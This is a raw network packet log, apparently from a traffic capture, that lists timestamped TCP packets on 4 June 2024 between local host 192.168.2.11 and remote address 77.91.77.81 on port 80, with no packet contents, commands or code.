Jun 4, 2024 23:09:12.856128931 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856142998 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856153965 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856162071 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856182098 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856188059 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856200933 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856215000 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856220961 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856240988 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856268883 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856556892 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856580973 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856637955 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856638908 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856657982 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856699944 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856725931 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856745005 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856784105 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856801987 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856806040 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856818914 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.856820107 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856848001 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.856869936 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857187033 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857247114 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857275963 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857315063 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857317924 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857336998 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857374907 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857376099 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857383013 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857397079 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857409954 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857414961 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857434034 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857440948 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857451916 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857455969 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857470989 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857475042 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857489109 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857507944 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857527018 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857527018 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.857532978 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.857562065 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858201027 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858241081 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858258963 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858284950 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858416080 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858457088 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858467102 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858475924 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858494043 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858515978 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858521938 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858536959 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858562946 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858575106 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858596087 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858597994 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858614922 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858633041 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858643055 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858643055 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858650923 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858654022 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858669996 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858673096 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.858710051 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.858742952 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859235048 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859253883 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859292984 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859325886 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859324932 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859370947 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859385967 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859385967 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859405994 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859467030 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859497070 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859517097 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859551907 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859565973 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859570026 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859589100 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859605074 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859605074 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859612942 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859623909 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.859642982 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859642982 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.859663963 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860127926 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860172033 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860204935 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860224009 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860239029 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860254049 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860503912 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860554934 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860569000 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860575914 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860594034 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860615015 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860635042 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860661983 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860668898 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860682011 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860688925 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860707045 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860709906 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860723972 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860742092 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860745907 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860764980 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860776901 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860776901 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860795975 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.860831022 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.860831022 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.861449003 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861473083 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861512899 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861516953 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.861532927 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861550093 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861552954 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.861567974 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861581087 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.861612082 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861618042 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.861630917 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861656904 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.861675978 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861694098 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861711025 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861717939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.861731052 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861745119 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.861751080 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.861772060 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.861797094 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.864598036 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864646912 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864703894 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864742994 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864763021 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864790916 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864810944 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864831924 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864837885 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864847898 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864852905 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864856958 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864856958 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.864864111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864871025 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864876986 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864881992 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864893913 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864898920 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864905119 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864909887 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864912033 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.864917040 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864928007 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864934921 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864943981 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.864945889 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864953041 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864959002 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.864964962 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.864984989 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.865012884 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.865479946 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865487099 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865531921 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.865658998 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865664959 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865675926 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865681887 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865688086 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865699053 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865704060 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865709066 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865710974 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.865717888 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865725040 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865737915 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865737915 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.865747929 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.865777016 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.865920067 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.866441011 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866447926 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866458893 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866498947 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.866616964 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866631031 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866636992 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866642952 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866648912 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866653919 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866661072 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.866662025 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866669893 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866679907 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866684914 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866698027 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866703033 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866704941 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.866708994 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.866729021 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.866748095 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.867393017 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867398977 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867412090 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867418051 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867455006 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.867486000 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.867511988 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867525101 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867536068 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867541075 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867547989 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867558002 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867563963 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:12.867569923 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:12.867605925 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011183977 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011241913 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011264086 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011300087 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011300087 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011323929 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011326075 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011363029 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011425018 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011466980 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011502981 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011522055 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011523008 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011554956 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011609077 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011759043 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011794090 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011814117 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011814117 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011833906 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011841059 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011853933 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011868954 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011873007 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011892080 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011898994 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011934996 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.011938095 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011959076 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.011993885 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012010098 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012013912 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012063026 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012115955 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012135983 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012155056 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012192965 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012208939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012209892 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012229919 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012242079 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012267113 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012274981 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012301922 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012310028 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012327909 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012439966 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012444973 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012509108 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012520075 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012536049 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012550116 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012576103 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012615919 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012617111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012636900 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012671947 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012672901 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012693882 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012697935 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012717962 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012722969 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012767076 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012773037 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012814045 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012831926 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012851000 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012856960 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012887001 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012904882 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012927055 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012938023 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.012944937 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.012964010 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013003111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013014078 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013014078 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013022900 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013056993 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013077021 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013077974 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013094902 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013108969 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013114929 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013139963 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013153076 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013165951 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013173103 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013194084 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013214111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013216972 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013235092 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013252020 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013268948 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013268948 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013284922 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013288975 CEST	80	49712	77.91.77.81	192.168.2.11
